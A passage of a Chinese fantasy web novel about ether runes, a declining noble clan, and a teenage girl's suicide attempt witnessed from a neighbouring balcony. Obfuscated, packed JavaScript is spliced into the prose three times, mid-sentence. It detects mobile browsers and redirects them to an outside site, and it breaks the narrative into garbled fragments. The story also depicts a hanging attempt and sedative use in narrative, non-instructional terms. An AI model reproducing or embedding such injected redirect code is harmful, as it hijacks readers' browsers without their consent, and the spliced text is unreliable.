仙法顾名思义,即是传说从仙人处得到的,在系统的以太学还没有出现时就可以操控以太的技术。从这点上来说,王睦友对于修仙小说的联想并不错:哪怕是今天已臻成熟的以太学都不能完美解析仙法的原理,甚至无法预计它们可以达成的最大效果。于是作为一种被已经证明有效,只是无法被现代科学系统性理解的技术,仙法及其掌握者们哪怕是在以太研讨会内部都有着极高的地位,几乎就是以太研讨会舆华部门的真正掌权集团。而在人类对以太和以太生物毫无了解的时代里,可以使用仙法的人则更是与真正的神仙无二了,说他们都是修仙的倒也不为过。 只不过这仙修得挺失败就是了。老人家这样念叨着。 “仙法一般是以家族为单位传承,所以就出现了所谓世家这种东西。我们这边小门小户,到底祖上是什么样的我是不知道,不过我有把握,现在我们眼前这位直接把所有事都拿到明面上说的缺心眼小姑娘……” 吉老爷子隐秘地指了指季井仪。 “多半就是邺京那个季家的。” 真见了鬼了,连我都是第一次见到这种迫不及待自报家门的。他说。 王睦友看向了对面,直接对上了季井仪刀子一样的眼神,吓得他别开了视线,不由在心里赞同舅爷给对方的评价。 但这实际上也不能全都怪季井仪——毕竟只有季家人才知道所谓“那个季家”到底在面对着什么样的困境。 就如吉老爷子所言,仙法的存在让可以使用仙法的人类将自己与无法使用仙法的人隔离开,将自己视作仙人遗留在大地上的血脉,自称“世家”,享受着旁人无法想象的福泽。换句话说,仙法就是世家的根,只有持有仙法的家族才能被称为世家。 这就导致了季家所要面对的困境。 从季井仪的祖父辈开始,本应由季家所传承的仙法符文便逐渐凋零。这些从仙人时代便留下来的特殊文字像是幻想的泡沫一样,随着时间的流逝,最后也没能在这个家族中留下一丝痕迹,生生地消失在了他们的血脉中。 这无疑是令人不安的变化。它自然带来了那些今天仍然持有仙法的世家对季家的质疑,而从这种质疑当中又生出了更加危险的窥视。 毕竟,季家已经掌控了邺京几百年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265398|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。在那些岁月里,季家对邺京的控制像是从天而降的铁幕,几乎将它割据为独立的城邦,即便是研讨会都很难对这座城市施加过多的影响。 可现如今,一个失去了自身本应掌握的仙法的世家又能做些什么呢? 季家与以太研讨会的关系便由此极速降温。季井仪曾听说过,在自己的祖父母辈还曾经有过一个名叫季云门的长辈是以太研讨会舆华部门的元老之一,可时至今日,不论是季云门,还是他的学生都早就在以太研讨会内失势,而季家也不再与以太研讨会做必要之外的交流。两方就像是被关在同一铁笼里的两只饥肠辘辘的肉食兽:即便体型上有着巨大的差距,可不论是弱势的一方,还是强势的那一方都必然不会让对方简单得手。具体体现到现实里,就是以太研讨会对邺京行政部门越来越严重的渗透,以及季家对邺京越收越紧的控制。 于是,希望响应作为这一代的季家掌权人的亲生父亲的计划的季井仪便进入了公安系统。 可很快,她找到了更好的方向。 如果,季家能够拿回仙法……拿回不知道到底是被谁偷走的仙法…… 她意识到似乎掌握着本应由季家掌握的仙法的那爷孙俩正对着自己指指点点,便恶狠狠地瞪了他们一眼。 王睦友被吓得一缩脖子,吉老爷子则问道:“查出来些什么了吗?” 季井仪强行压下内心的不满,敷衍地说:“血液中的确有轻微的以太反应。虽然应该说只是含有微量的以太,但硬要说的话,说是属于一个以太人类,也没什么大错。” 只要能拿回仙法,将它重新纳入季家,她想,一切问题都会迎刃而解。 陈琳哪里知道季井仪心里在想些什么有的没的。 她本来好不容易恢复了一点理智,但现在一听这事里还有以太人类的事,她的脑子里又是嗡的一声。 她叫道:“不会吧?!以太人类?” 她慌张地啃起了指甲。 “我之前找协警机器人调查过了啊!我的家里是没有以太人类居住的,那这到底……” 季井仪对事情本身并不感兴趣,只是冷冷地看了她一眼。 “数据不会骗人。”她冷酷地说,“虽然不知道您家具体是什么情况,但检测结果就是这个样子。” 她看了一眼陈琳,又看了一眼吉老爷子,心想估计她不把这事对付过去,就没法继续自己的计划,就随手打开延展系统,呼唤起协警机器人。 “嗯……陈小姐,我查到了您之前的报案记录了。要不这样吧,我派几个协警机器人过去,再在您家进行一次更加细致一点的搜寻。” 她停了一下,觉得自己的口气好像太敷衍了,就又在话里加了点安慰剂:“您是大概一个月前来进行记录的,这一个月间,我们的侦查系统也已经有过升级……” 虽然只有非常非常细微的改动,她在心里补充道,但还是加大了药量:“想必肯定能更好地帮到您。” 她露出一个没有感情却相当标准的笑容:“请问还有什么需要我帮您的吗?陈小姐?如果没有其他事情的话,请恕我……” 她话还没说完,吉老爷子再一次拍案而起。他一边招呼王睦友跟上,一边对陈琳说:“唉,你别难过。小陈啊,擦擦眼泪,我们上你家看看。之前能解决一次的事,现在没道理不能解决第二次。不过嘛,就像我说的,你呀,要不还是先开始找找房子……” 他嘴上絮絮叨叨,动作却是和年龄不合的利索。 他这种堪称急躁的行为却让陈琳擦了擦眼泪,把本来都有点流露出的绝望神情收回去,哑着嗓子说:“诶,知道了。这次要是再不行……” 他们眼看着就都要出去了,就只有走在最末尾的王睦友还回过头看了一下被这突然的变化惊得愣在原地的季井仪。 他于心不忍,战战兢兢地问了一句:”那个……季小姐?需要给你留个空调吗?这么开着,怪费钱的……” 季井仪一口牙都快咬碎了。 “不需要。”她恶狠狠地说,声音之低沉吓得王睦友一抖,“我会跟着你们一起去的。” 27. 听人劝吃饱饭 因果报应是一种说起来非常复杂的东西。我们当然可以说它是出自人们朴素的愿景,期待善恶到头终有报。于是很快,因果就开始与玄学、宗教有了关联,用于计算因果的因数便越来越多,最终变成了人力难以计算的结果。 但其实这东西有时候也是挺直观的。 季井仪黑着脸坐在沙发上,一边的陈琳正使出毕生所学,试图用家用急救箱里的药品治好她因扭伤而红肿的手腕。两人一个脸上阴云密布,一个则是战战兢兢得像生怕惹金主不高兴的小丫鬟,只有坐在旁边看着这一切的王睦友露出了一言难尽的表情。 意外就发生在陈琳开门的时候。 当时跟在她身后的季井仪还没来得及看到里面的场景,只是闻到一阵扑面而来的不协调香味。这股浓烈的柑橘茉莉味像一击捶在她鼻子上的重拳,直接让她的鼻子失灵了几秒钟。她还没从发懵的状态里恢复回来,就听见陈琳尖叫一声,蹚着地板上已经积了一厘米高的粉橙色泡泡水,三步并两步地冲向了简易浴室。 季井仪忽略掉她发出的"我的地板!我的小黄鸭也没了!"的惨叫,谨慎地踩着自己五厘米的高跟鞋,踏进了陈琳已经水漫金山的家。 但不听人话肯定不是值得赞同的行为。就比如季井仪,她因为自动脑内过滤了陈琳的尖叫(她觉得这个医生实在是不够沉稳,还有点神经质),就自然而然地忽视了从浴室传来的提醒。 直到她踩上了一个藏在水里的弹弹滑滑的东西,本就不牢靠的鞋底一滑,失去重心脸朝下往水里栽倒时,隔着飞溅而起的水花,“你们别踩着滑倒了!”的尖叫遥远得像是从大洋彼岸传来的。 于是就有了以上的那一幕。 王睦友盯着在陈琳家忙东忙西的家政机器人,还有跟在后面试图和它唠嗑的吉老爷子,一时之间竟不知道该先感叹科技的进步,还是该先感叹真给自己遇上微服私访当片警的富家小姐了。 陈琳确认了一下手里都快被包成粽子的、属于季井仪的手没有其他问题后,才小心翼翼地牵着它放在沙发扶手上,好像那不是人体,而是什么天价的易碎工艺品。 她陪着小心,笑得谄媚:“真对不住哈。刚才居然让您摔倒了,还受了这么重的伤。老奴……啊,不是,我真是罪该万死,要是我早点喊出来,季小姐您就不会摔倒了。” 季井仪面无表情,王睦友却完全理解了陈大夫此时的卑微姿态。 怎么说眼前这位都是真给钱啊! 陈琳心有余悸地看了看这群分布在她房间里,只花了不到十分钟就将单间里里外外收拾得纤尘不染的家政机器人,犹豫一会儿,还是问道:“这个,嗯,它们的服务费用……大概是多少?” 季井仪挥了下还可以自由活动的那只手:“这是我经常用的一家。不贵的。” 不贵是多贵! 陈琳倒吸一口冷气,但是八卦的天性还是先一步发作:“那大概是多少?” 季井仪看了她一眼,少有地露出了审视的目光。 陈琳会意,狗腿地递话:“我一个月到手五千不到,大人。” 她发现季小姐心虚地移开了目光。 “那也许,也……没有那么不贵?”她小声嘀咕。 被这番发言震撼到的不只有陈琳,还有一边吃瓜看戏的王睦友。 出于精于计算的小市民本性,他不可置信地转过头又看了一眼被吉老爷子像赶鹅一样追得满地跑的小机器人,欲言又止,止言又欲,最后出于好心,还是忍不住小声念了一句:“不是被坑了吧?居然要这么多钱?” 但不管是多小声,这句话还是没有逃过季井仪的耳朵。她精致的眉毛一跳,心说王睦友这把她当作冤大头的话对她而言可以说是失礼至极。新仇再加上刚才的旧恨,两相叠加,她冷笑一声,语气里都带上了点有钱人的嘲讽和优越感。 “所以,王先生是对这种五分钟内上门,不论多大的房子都能保证在十分钟内打扫得不留一丝灰尘的家政服务有意见咯?” “我怎么敢!”王睦友火速否认。 他意识到自己是被误解了,摇头如拨浪鼓,连忙否认:“我绝对没有别的意思!就是单纯有点震惊,”他指了指耳朵,有些心虚地说,“我还以为这么高档的家政服务机器人的噪音会小一点呢。没想到这个居然是常态吗……啊,也是呢,有可能呢,功能比较强的话,可能降噪就会难一点……?” 他越说到后面越没有底气,声音逐渐小得像是在自言自语。 因为不管是季井仪,还是陈琳,两个人都是一副见了鬼了的样子看着他。 “噪音?”陈琳率先发问。 她搓搓耳朵:“哪里有噪音啊?这些小机器人明明比冰箱里的鸡蛋都安静。小王你是不是听错了?” “这些小机器人都是完全静音的。”季井仪说,“它们连移动的时候都不会发出一丝摩擦的声音,更别说噪音了。你听见的真是噪音吗?” 王睦友也一脸困惑。他有些难以置信地摸了摸耳朵,在确定耳朵里面奇怪的声音的确没有消失后,才战战兢兢地问:“你们没听到吗?” 他更心虚了,手上也下意识地加上了些无意义的比划动作,试图解释自己听见的抽象声音:“就是那种沙沙沙的,挺尖,又有点像没力气的蝉鸣的声音……” 陈琳不理解。她扭头看看季井仪,而后者也正挑着细细的眉毛,一脸不解。 但很快,她就恍然大悟。 “你要不去趟医院吧?”季井仪提议。 “去看看耳朵里是不是进什么东西了。” 陈琳得令,立刻狗腿地开始张罗挂号。 王睦友是百口莫辩,正当他想再一次强调自己听见的绝对不是幻觉,吉老爷子正好也放过了被他撵得满屋子跑的小机器人,走了过来。 他说:“有什么要再去医院的?再说了,我们家睦睦身体好得不得了,前段时间刚出院的。” 这能叫身体好吗?! 吉老爷子当然是不知道王睦友在想什么的。他只是继续说:“睦睦啊,你要不去阳台上开窗透透气?” 他吸了吸鼻子:“现在是好点了,我们刚来那会,那香味是有点浓啊。没准是熏的?” 他一拍侄孙的肩膀,还对他挤眉弄眼,想把人支开的意思完全就是写在了脸上。 季井仪眉头一皱,正想逼问他们是不是在打什么鬼主意,就看吉老爷子在把王睦友赶去阳台后,就从衣服里掏出几张纸,还带上了老花镜。这副架势对季井仪而言属于没吃过猪肉也见过猪跑的熟悉范畴了,她急切地说道:“这不就是……” 吉老爷子直接做了个别说了的手势。 “小姑娘啊,”他说,“我要是你,我是不会把这些事挂在嘴边的。” 季井仪明显不服气,她还想继续争辩,吉老爷子就在指头吐了口唾沫,开始一张张数手上那刀厚厚的纸片。 “我不知道你家里大人是怎么教你的,但是你张口闭口就是这种不好拿到台面上来说的事,也实在是不应该。放在我年轻那会儿……” 他数得很快,动作流畅得不可思议。季井仪还没反应回来,就正对上老人家浑浊的眼珠。 “可是最容易遇上事的。”他说。 这边季井仪还愣着,那边陈琳就以及判断出自己不适合留在这个场景下。她随便找了个蹩脚的借口,说去泡茶招待客人,随手就拉上了去阳台的落地窗的窗帘,把局外人一号彻底隔离在了阳台上。然后她这个局外人二号就自觉地一闪身去了卧室,把自己关在里面,以行动表明自己不偷听的决心。 吉老爷子叹了口气,开始把手上的纸片一张张分开,点出八张,按顺序排列在桌上。 他继续说道:“可别怪我说话难听。你这种年轻人啊,明明心肠不坏,但是就是分不清轻重缓急,也看不清事儿。但越是这样,就越容易惹祸……” “我不懂您在说什么。”季井仪打断了老人的发言。 她几乎压抑不住怒火——被这样当面嘲讽就算是泥人都有三分火气,更何况从小养尊处优的季井仪:“如果您没有一直顾左右而言他,我想我们之间的交流可以更加顺利一点。” “可是,万一这注定就是不可能顺利的交流呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就是为了这么点小事……明明是那么伟大的技术,但结果只是被你当作了传声筒来使用。这就是明珠暗投,硬是将明珠当作了鱼眼珠……” “那不然呢?” “明明有更多的地方可以用上它……”季井仪说。 “明明无论是季家,还是研讨会,都能拿它来做到更多事情……” 明明,身负着这种仙术的,应该是我,应该是我身上流淌着的季家血脉…… 是我们季家才对。 “可是它为自己选择了这样的未来。”吉老爷子平静地回答道。 他对着季井仪叹了口气——他是个时常会为不成熟的年轻人感到忧心的长辈,但此刻平日里总是挂在他脸上风轻云淡的笑意却不见半分。 “季家也是如此。”他说,“如果你能对季家、对邺京了解得更深一点,就知道为什么我劝你死了这条心,别再打将符文带回季家的主意了。” “为什么?”季井仪问,“难道,你是在说,这一切都是我们自找的吗?” “我不能这么断言。”老人说。 “我没和你们打过多少交道,顶多之和你那个早就投靠了研讨会的长辈有过几面之缘。但总有种东西——或许是我这个活了那么久的老家伙的经验之谈,也或许只是单纯的直觉在告诉我……” 他说:“这一切,都是你们应得的。” 季井仪猛地站起身。 她怒不可遏,甫一张嘴,刚才被她关闭的延展系统却被强行唤起。这次它直接进入了警报状态,尖锐的嗡鸣立刻响彻了整座小小的公寓。 疏散模式。 附近有高危险性的以太生物出现。 季井仪正要做出反应,隔断了陈琳家阳台和客厅的推拉门就被一把拉开。 “报警救人啊!”一手扶着脖子的王睦友闯了进来,声音嘶哑地叫道。 “隔壁的小姑娘跳楼了!虽然……” 他吃力地扭头看了一眼身后,补了一句:“虽然现在人还没掉下去吧。” 28. 不要看向隔壁 王睦友其实没有在第一时间领悟到舅爷的意思。 事实证明,人在处于噪音环境下的时候就是会精神恍惚。看着挤眉弄眼的吉老爷子,他不做多想,只是怀疑老爷子是不是干眼症犯了。 正当他开始担心手边没有药怎么办时,就感觉自己被摁着的背部皮肤一痒,然后就是吉老爷子恨铁不成钢的声音在他脑子里响起:“快去阳台看看吧!我总感觉窗外有事。” 王睦友这才反应回来,自己舅爷原来是在自己背上画了个符文来进行精神沟通。 但人毕竟是管不住自己的脑子的,他脑内问道:“舅爷你是不是眼睛不舒服啊?”然后就又挨了重重一拍,被赶去了阳台。 陈琳的工作钱少事多,这段时间终于稳定了一些,终于可以收拾一下自己租住了两年的老房子。可也就在她刚刚布置完屋里,把主意打到了老阳台上时,家里就闹了鬼了,于是这尚未被整修过的老阳台就维持着自己最天然朴素的样子挂在室外,像是个老年痴呆的老年人慈祥地注视着自己打扮得越来越花里胡哨的儿孙。 好吧,说穿了就是破。 王睦友一打开门,就被扬起的灰尘糊了一脸。他一边咳嗽,一边忍耐着耳朵里从没停过的噪音向前走了几步,一抬头就看见了堪称老古董的金属防盗窗,还有不知道什么鸟遗留在铁窗间的干瘪小窝。 好家伙,这都是什么年代的东西了。 他惴惴不安地往窗边靠了靠,看着两边离得不远的同款阳台,顶着满脑子噪音神游,思考起这些金属窗框要是被弄坏了那算不算破坏文物罪。 这些老式的金属框就安静又整齐地贴在老公寓侧边,像是人入中年后膨胀起来的肚皮,两两之间的最远距离大概也就是十米左右。但因为这些粗金属管的存在,不管是往外看还是从外往里看,视线都会受阻,和现在那些已追求空旷、透明的新式建筑相比,好歹有个掩耳盗铃的隐私感。 但就王睦友的观察来说,大概是因为近些年来安保系统的升级,有八成的居民都撤掉了装在自己家外面的防盗栏杆,把那多出来的阳台全部砌进了室内。按最新的规定来说,这都是妥妥的违规建筑,但真要一件件追溯起来牵涉的市民未免有些过多,于是法不责众,市区治理对此也就睁一只眼闭一只眼,除非再有人动工,不然有关部门是不会上门的…… 他一边唏嘘着这些年法规的变化,一边捂着耳朵左右探头,试图找出自己听见的噪音的源头,隔壁的阳台门便被用力打开了。 门框当地一声敲在墙上,从现实里传来雨水一样滴滴答答的声音,混杂着越来越响的噪音,一起袭向了他。 这是噪音的源头。 那是个女孩。从她身上缀着毛绒熊头的睡裙,和伸出睡裙的细瘦四肢来看,她的年龄应该不大,估计还没上高中。 她的情况很糟糕,一头滴着水的黑发厚重得像是刚从海里被捞起来的水草,从睡裙下伸出瘦骨嶙峋的四肢,有无数黑色的裂纹爬上了她裸露在外的苍白皮肤。 以太人类。 王睦友下意识地后退了一步,但随即意识到对方对自己没有恶意——她甚至没有看向自己这里,只是自顾自地拖着一块吸饱了水的长毛毛巾,向着她前面几步的晾衣架走去。 她需要帮助,他想,必须赶紧联系医院。 这是以太生物体质失控的前兆,要是再不做些什么,不论是面前的小女孩还是距离她这么近的自己都会受到波及。 女孩把滴水的毛巾挂上了晾衣架,突如其来的重量压得纤细的栏杆一弯,但这智能的家具很快就恢复了原来的形态,同时慢慢升高,以便使用者晾晒织物, 她没有松手,只是捏着毛巾的下摆,呆呆地凝望着逐渐高过她头顶的横杆。 困扰着王睦友的噪音越来越响了。所以他只能一手捂着耳朵,用另一只手一手颤巍巍地划出终端。 呼叫,他打开了那透明的界面。 女孩依然仰着头,只有捏着毛巾末端的手兀自动了起来。 她捏住两头,将它们交叠在一起。 他输入着,以太人类体质失控。 她的手继续活动着,将毛巾的一端从圈好的圈下探出。 他按照指示呼叫起医疗团队。 她将那段织物抽出,再用力拉紧。 定位已发送成功的提示出现在了他的面前, 一个绳圈出现在了她的面前。 终于完成了。 他们同时这样想着。 接下来呢?接下来我还要做些什么呢? 王睦友抹了把因噪音而出现在额头上的冷汗,抬起头再次望向女孩的方向,径直撞进了一双透过潮湿黑发望向他的浑浊双眼。 那是一片沼泽一样脏兮兮的青色,中央伫立着孤岛一样的黑色圆圈。王睦友知道,那是以太人类的瞳孔,是他们与他们的拟态对象在外观上最显著的区别。 可此刻,这圆圈状的瞳孔却在不断扩大着,几乎与虹膜的边沿重叠。 他们就这样对视着,谁都没有动,谁都不知道该如何活动。 王睦友毕竟是成年人。他对女孩点了点头,正想顶着扰人的噪音说些类似“很快就有人来帮你了”,“再坚持一下”,“一定不要乱动”之类安慰的话稳住她,那像是木柴互相摩擦而产生的声音却在一瞬间全部消失了。 可他还来不及惊讶,从他身后属于陈琳的公寓里就爆发出了像是什么东西被引燃的巨响。而像是被这声音牵引了一样,下一秒,燃烧的声音也自对面的窗台起如洪水般倾泻而出,仅存在于声音中的火焰几乎瞬间窜起,将王睦友环绕在其中。 被他注视着的女孩突然爆发出了一声尖叫,将手里已经高过头顶的毛巾圈猛地套上了自己的脖子。 这是要干什么?! 王睦友刚想叫屋里的人来帮忙,就感觉到一个又湿又重的东西缠上了他的脖子,将他的声音生生扼在了喉咙里。 那是绳圈,是浸透了水的毛巾组成的绳圈。 是缠绕在对面的女孩脖子上的绳圈。 但此刻,它却是绕在了王睦友的脖子上。伴随着对面逐渐升起的晾衣杆,他被不断从地上提起。他的脖颈被沉重的绳圈锁着,几乎可以听见脖子上软骨发出的哀鸣,但随即这微弱的意识也被进一步到来的压迫逼退,大脑里一时只剩下了对无法呼吸的本能恐惧。 一如那些功能齐全的新型家具,现在的最常被使用用的晾衣杆也有着以前人们难以想象的智能。它可以被使用者通过植入体内的终端用意识操控升降,无论挂上了多么重的织物都可以自主调整自身的硬度和升降时的力度,由此完全杜绝了被压弯的现象,也不存在理论上无法被它挂起的衣物。 可是如果使用者已经因为被挂在了晾衣架上,几近失去了意识呢? 这就是王睦友正在面对的情况。 他无法呼吸,浑身像是被细密的小针扎着那样发疼,视线范围里的一切都凭空生出了霉斑一样的黑色斑点。他头疼欲裂,舌头被不断升起的绳圈挤压,便只能可怜兮兮地暴露在了口腔之外,在口腔里留下带着血腥气的苦味。 这样下去会死的。他痛苦地挣扎着,却无法让对面升起的晾衣杆停下分毫。 会被吊死的。 但他又能做什么呢?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265400|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他至今已经直面了两次死亡,一次在被封锁的、缺氧的安全舱里,一次在高速列车的睡梦中,但没有哪一次像这次这样为他带来了如此真实的痛苦——他的脖子现在的确是被冰冷的织物死死圈住,吊住织物的晾衣杆还在不断升高。他的双脚即将脱离地面,他的身体也逐渐冰冷,再也无法做出任何的抵抗。 是不是该呼救?但是我能叫出声吗? 他暴露在外的舌头告诉他,这并不可能。 那我能挣脱吗?但是我的四肢还能活动吗? 他努力伸出双手,想握住将他吊起的绳索,却只能抓到空气,而这更消耗了他本就宝贵的体力,让他又被迫往上踮了几厘米。 难道要挣扎?可是越挣扎死得就会越快,现在最好的选择就是小动作,却能有大效果的东西…… 对了,符文。他突然想。 试试吧,只要手指能够活动…… 他逐渐无法控制自己的面部肌肉了,从口中流出的口水渗进了湿润的绳圈里,与原本就被它吸饱的清水混成一团。 有什么呢?我到底会写什么呢? 他的脑内一片空白,只能任由本能支配,在空气中滑动着手指。 如那本书中所言,符文的绘制如同挑起布匹中的线,在其中穿插入新的属于自己的部分,再在布匹上作画。很快,他感到有细软的东西缠上了手指,却已经无法分辨那是夏日透过窗户的缝隙吹拂在他冰冷身体上的暖风,还是所谓的该由他挑起的“线”。 然后呢?他的手指不由自主地地动了起来,锁在脖子上的绳圈越来越紧,几乎已经要勒断他脖子上的组织。 他不知道自己在画什么。点,勾起,这里延长,再相连,这到底是什么符文,到底有着什么样的功能? 啊,他突然想起来了。 是“切断”。 切断他脖子上无法被看见的绳套。 他脖子上突兀地一松,整个人直接摔倒在了阳台硬邦邦的地面,大口大口地呼吸着甜美的空气,根本顾不得身上的酸痛。 脖子上肯定是肿了。他下意识地摸上刚才被勒住的部分,只感到一阵闷痛;在外面暴露了太久的舌头非常干,在他呼吸的过程中总算是脱离了麻木的状态,可以让他发出简单的音节,再一会儿估计就能恢复语言功能。眼前因缺氧而浮现的黑斑也逐渐消退,阳光、阳台老旧的金属围栏、墙角掉落的墙皮都恢复了它们应有的样子。 他得救了。 王睦友脱力地倒在地上,胸口剧烈起伏。正当他想爬起身时,从对面的阳台上又发出了一声哭号。 他已经没有力气管那些有的没的了,可现实却由不得他不管。 他撑起身体,看见对面的女孩手脚并用,以迅雷不及掩耳之势,像一只义无反顾的壁虎那样打开窗户跳了出去。 可不可思议的情况再次出现了。 在她跳出窗户的那一瞬间,王睦友就听见从自己这边的防盗窗上传来重物撞击的"当"的一声巨响,这促使他爬起身的动作快了一点,扒在窗口边喘气,边查看着外界的情况。 跳楼女孩像是被看不见的栏杆拦住了一样,被硬生生的束缚在了半空,被潮湿头发覆盖了完全的脸上只有那双沼泽地一样脏兮兮的青色眼睛睁得大大地看着他。 那目光复杂至极,王睦友缺氧的大脑无法理解其中到底藏了什么样的情感,却在被它接触的像是被火焰灼烧了一样彻底反应了回来。 他意识到自己现在有必须要做的事。 她不想死。 他最后用力呼吸了几口气,转身拉开了阳台门,冲破了悬挂在门前的窗帘。 29. 未成年人最需要的是什么? 江雪是被冻醒的。她躺在没有水的浴缸里,睡衣粘在身上,头发浸透了水,一块湿哒哒的毛巾被子一样盖在身上。 她茫然地眨了眨眼睛,晕头转向。 镇静药的药效还没彻底过去,她现在整个人还是昏昏沉沉的。她盯着浴室上风扇形状的浴灯发了大概五分钟的呆,才大概理解了事态。 又没死成。 她费力地拖着一头重得要死的头发从浴缸里爬出来,在踩到了一个沐浴露瓶子后,突然回过身暴躁地踢了浴缸一脚。 她抱着撞疼的脚一阵痛呼,疼痛让她稍微恢复了点神智。 总之,先出去。 这么想着,她拖起地上的浴巾走出了浴室。但在看到堆满房间的纸片和铁皮反射着的阳光后,她叹了口气,毅然决然地把湿毛巾抱在了怀里,把滴滴答答的水滴控制在自己脚下空空的地板上。 江雪就读于岩鑫四中二年级五班,目前独居在奶奶留给她的,位于大光新村的老破小。 她的父母都是挺成功的生意人,两人早早遇见了彼此,很快就一起攒下了一笔丰厚的家业。然而在经历了英年早婚和英年早孕后,这对精英夫妇又经历了英年早离。 当时还在学走路的江雪就这样稀里糊涂地被判给了爸爸,又被爸爸转手送给了在大光新村独居的奶奶抚养,只能在节庆假日看到自己穿着商业的老爸带着眼生的阿姨,和比自己小了好几岁的弟弟拎着水果礼盒来拜访。妈妈那边则更是随缘。她每半年会收到一通不知道从世界的哪个角落发来的通讯,镜头里的妈妈每次都长得不一样,也不知道是旅行真的能让人的长相大幅变化,还是她已经完全记不得这个将她生出的女人到底长着什么样的面孔了。 但是奶奶很爱她,这就足够了。 江雪记得,老太太会当着陌生阿姨和陌生小男孩的面指责衣冠楚楚的爸爸是个不负责任的父亲,会在通讯那头的妈妈兴高采烈地说着自己的旅行计划时打断她,问她什么时候回邺京探望一下被忘记的女儿。 她爱着自己被亲生父母放逐的孙女,也收获了同等的爱。于是一个家庭就这样简单地诞生了。 本该是这样的。可不论是什么样的家庭,什么样的联系都必然有破裂的那天。这不一定是什么由主观意愿所决定的分离,更大概率,这是一种必须被面对的生老病死。 老太太走时没受什么苦。在一个和街坊邻里交流完家长里短的早上,她因为阳光过于温暖而在躺椅上小睡了一会,这一睡就睡过头了。 她活了九十多岁,一直无病无灾,连死亡对她而言都只是一场稍微有点长的回笼觉。要不是这么做太不体面,估计街道里想把江奶奶的影像装裱起来,评一个“光辛街道十大安详离去老人”,没事就去拜一拜,期望能保自己健康平安的老人也是不在少数的。 不过江奶奶是平和地走了,江雪的人生却再也不能平和地过下去了。 在江奶奶离开后的几小时后她才放了学,独自一人回家,脑子里还在盘算着今天的晚饭:冰箱里有昨天剩下的熏鱼,再准备个素菜就好。奶奶视力不好,那么自己就把黄瓜削好皮,再交给她拍碎就好了…… 就这么想着、走神着,她在路过每天必经之地的街道口小饭馆时,撞见了那里的新老板娘。 江雪不太爱出门,和这个老板娘自然不怎么熟。在她稀薄的印象里,之前管着光辛饭店的一直是个凶巴巴的老太婆,而现在的这位老板娘年纪不大,自己叫她一声姐姐都不为过,也不知道移交是在什么时候完成的。 她有些好奇地往那边多看了几眼,老板娘却突然像是被电了一样,直接拦在了江雪跟前。 “啊,今,今天我们搞活动。江雪……啊不是,我不应该知道你的名字,我是说……” 她吃了个螺丝,好像咬到了舌头,但也就是这一口好像给了她灵感。 她大声地说:“对!你是今天第一百个路过我们店门口的顾客。所以来吃个饭吧!今天免单,全都算在我们家账上!” 这也太可疑了。 江雪不知道她打的是什么算盘,后退了一步。 “不用了,谢谢。”她警惕地说,“家里人正等着我回家吃饭呢。” 老板娘是个心里藏不住事的人,还有些稚气的脸上随即露出了吃红烧肉时咬到了个八角的神情。 她小心地说:“我们提供打包。怎么说,虽然别的我可能帮不上忙……但至少,还是能让你今天先不被饿着的吧!不吃饱饭怎么应付之后的事呢!你还这么小……诶呀!” 这个说辞实在是太奇怪了,江雪根本听不懂,自然不可能答应。 她摇摇头,正想拒绝,那老板娘就已经当她是默认了,强行就把来不及挣扎的江雪拖进了光辛饭店。在小姑娘反应回来之前,又在她手里塞了个大小堪比脸盆的空饭盒。然后就是一碗一碗的肉、菜、饭像是不要钱那样被扣了进来,很快饭盒里就垒起了小小的一座山。可年轻的老板娘只是抿着嘴,继续往满满的饭盒里继续塞着狮子头。 彼时的江雪毕竟只是一个天真烂漫的小学生。她数着越堆越高的狮子头小山,着指头数她一个、奶奶半个,这样吃下来能吃几天……其他的肉和菜就更别说了,她们一周的晚饭都在这只小小的饭盆里了! 今天先吃狮子头,明天再吃熏鱼,啊,还有红烧大排和糖醋排骨……那我肯定可以独占最喜欢的狮子头了! 她抱着被装得满满的饭盆,可以独占狮子头的美梦在看见愁眉苦脸的居委会老爷爷的瞬间变成了她必须独占整个饭盆的噩梦。 她最后也的确是自己解决了那满满的一盒菜,再用咽下那些肉食的力量让生活回到了正轨。 但也有还没回到正轨的东西。 一般来说,人们总是可以用强大的意志和毅力克服困难的,但其中也有例外。 比如讨要未成年人的抚养费。 江雪的父母都视她为累赘,对抚养费的支付自然是能拖就拖。在江奶奶还在时,江雪的父亲看在老母亲的份上还不会太过分,也就会不定时地打来一笔可观的生活费。可现在,那孤零零的老破小里只剩下了她一人,于是不论是她忙于工作的父亲,还是那对她根本不熟悉的母女就再也没上过门,经济的来源就被生生切断,而当她有一次在和妈妈的通讯里说起这个问题时,那从世界各地来的通讯便也开始不断减少,最终杳无音信。 江雪捏着老人家给她留下的薄薄一笔遗产,掐指算起了自己未来存活的可能性,在最后只觉得头痛,去校医院开了治疗睡眠障碍的药。 那天晚上她在梦里想了很多,从虚无缥缈的梦想到真实存在于她身边、长着一张蠢脸的抱枕,最后在闹钟响起提醒她该起床上学时,伸手关掉了闹钟,将被子拉过了头顶。 